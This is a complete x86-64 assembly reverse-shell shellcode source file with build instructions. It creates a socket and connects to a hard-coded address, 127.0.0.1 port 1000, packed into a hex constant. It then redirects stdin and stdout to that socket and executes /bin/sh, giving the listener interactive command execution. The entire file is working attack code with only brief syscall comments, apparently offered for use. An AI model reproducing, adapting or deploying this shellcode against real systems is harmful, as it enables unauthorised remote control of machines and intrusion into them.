;// compiled : gcc -c reverse_shellcode_x64.s ;// ld -e main reverse_shellcode_x64.o -o reverse_shellcode_x64 .intel_syntax noprefix .text .globl main .type main, @function main: ;// socket(AF_INET, SOCK_STREAM, IPPROTO_IP) mov rdi, 2 mov rsi, 1 mov rdx, 0 mov rax, 41 ;// SYS_socket syscall
;// connect(soc, (struct sockaddr *)&serv_addr, sizeof(struct sockaddr_in)) mov rdi, rax mov rax, 0x0100007fe8030002 push rax mov rsi, rsp mov rdx, 16 mov rax, 42 ;// SYS_connect syscall
;// dup2(soc, 0) mov rdi, 3 mov rsi, 0 mov rax, 33 ;// SYS_dup2 syscall
;// dup2(soc, 1) mov rdi, 3 mov rsi, 1 mov rax, 33 ;// SYS_dup2 syscall
;// execve("/bin/sh", NULL, NULL) mov rax,0x0068732f6e69622f push rax mov rdi,rsp mov rax,59 mov rsi,0 mov rdx,0 syscall
;// exit(0) mov rdi, 0 mov rax, 60 syscall
|